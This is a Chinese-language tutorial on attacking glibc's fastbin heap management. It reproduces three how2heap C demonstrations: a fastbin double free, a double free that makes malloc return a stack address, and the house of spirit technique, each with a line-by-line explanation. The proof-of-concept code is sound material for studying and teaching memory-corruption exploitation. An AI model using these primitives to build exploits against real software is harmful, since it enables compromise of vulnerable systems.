背景介紹
在前一節主要介紹了Glibc的堆內存管理的機制,在上一節的基礎上,我打算介紹一下針對Glibc堆內存管理的攻擊。此係列我打算按攻擊面是哪一個bin來展開,主要分爲:
- fastbin的攻擊
- smallbin的攻擊
- largebin的攻擊
- unsorted bin的攻擊
- top chunk的攻擊
本文主要介紹fastbin的攻擊
fastbin漏洞利用
具體的fastbin的介紹請參考前一節和 Linux堆內存管理深入分析(下),在本節中主要結合how2heap的代碼來介紹一下具體的漏洞利用思路。
fastbin double free
double free的意思就是一個malloc的指針被釋放了兩次,由於針對fastbin的free處理只是對double free做了簡單的判斷,所以很容易繞過它的double free判斷。free() fastbin時的判斷如下所示:
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
其中old指針爲fast bin的頭指針,即此處只是判斷fastbin的頭指針和p指針是否一致。所以fastbin double free的攻擊思路就是我們只要保證要double free的chunk不在fastbin的頭部即可。
具體的攻擊示例如下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
printf("1st malloc(8): %p\n", malloc(8));
printf("2nd malloc(8): %p\n", malloc(8));
printf("3rd malloc(8): %p\n", malloc(8));
}
在此示例中,首先申請三個大小爲8的int數組,然後先free(a),由於fast bin是一個單鏈表,在插入和刪除的時候只在頭部進行,所以此時將a的chunk放入了fast bin的頭部,隨後又free(b),此時fast bin的頭部爲chunk b,隨後又free(a),此時由於fast bin的頭部爲chunk b,所以在free()的時候進行判斷old == p不會拋出錯誤進而繞過這個簡單的判斷處理。再進行malloc的時候首先會從fast bin的頭部進行刪除,則接下來第一個分配的chunk爲chunk A,第二個分配的爲chunk B,接下來會再次分配chunk A。
繞過示例結果如下所示:
fast bin double free in stack
上面的那個例子只是簡單的一個double free,這個例子是利用double free漏洞在棧中構造了一個fake chunk。
其具體的示例如下所示:
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n", malloc(8));
printf("Now the free list has [ %p ].\n", a);
printf("Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
printf("4th malloc(8): %p\n", malloc(8));
}
在以上代碼中,當d被malloc的時候,此時還有對應的chunk a在fast bin中,所以如果對d進行修改,也會影響到chunk a的值。我們知道malloced chunk和freed chunk對應的結構不一樣,對與同一個chunk A來說,有兩種形式–對於d來說,其對應的是malloced chunk,而其在fast bin中還有一個freed chunk。
其示例如圖所示:
可以看到*d(payload開始地址)正好對應了chunk A的fd指針,將 *d的值賦值爲&stack_var-8,則 stack_var=0x20即爲在棧中僞造的chunk的size=0x20,與此fast bin的大小對應,此時chunk A的fd指向了在棧中僞造的chunk,此時就將僞造的chunk放入了fastbin鏈表中。進而malloc可以返回僞造的指針。
該示例代碼的運行結果如下所示:
The house of spirit
此攻擊也是在棧中僞造fake chunk,和第二個攻擊不同的是其只是在棧中聲明瞭一個指針,而並沒有通過malloc()函數來在堆中申請空間,接着將該指針賦值爲特定的僞造的chunk的地址,隨後free該指針,就將在棧中僞造的chunk添加到對應的fastbin中去了。具體的示例如下所示:
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %p\n", malloc(0x30));
}
示例的結果如下圖所示: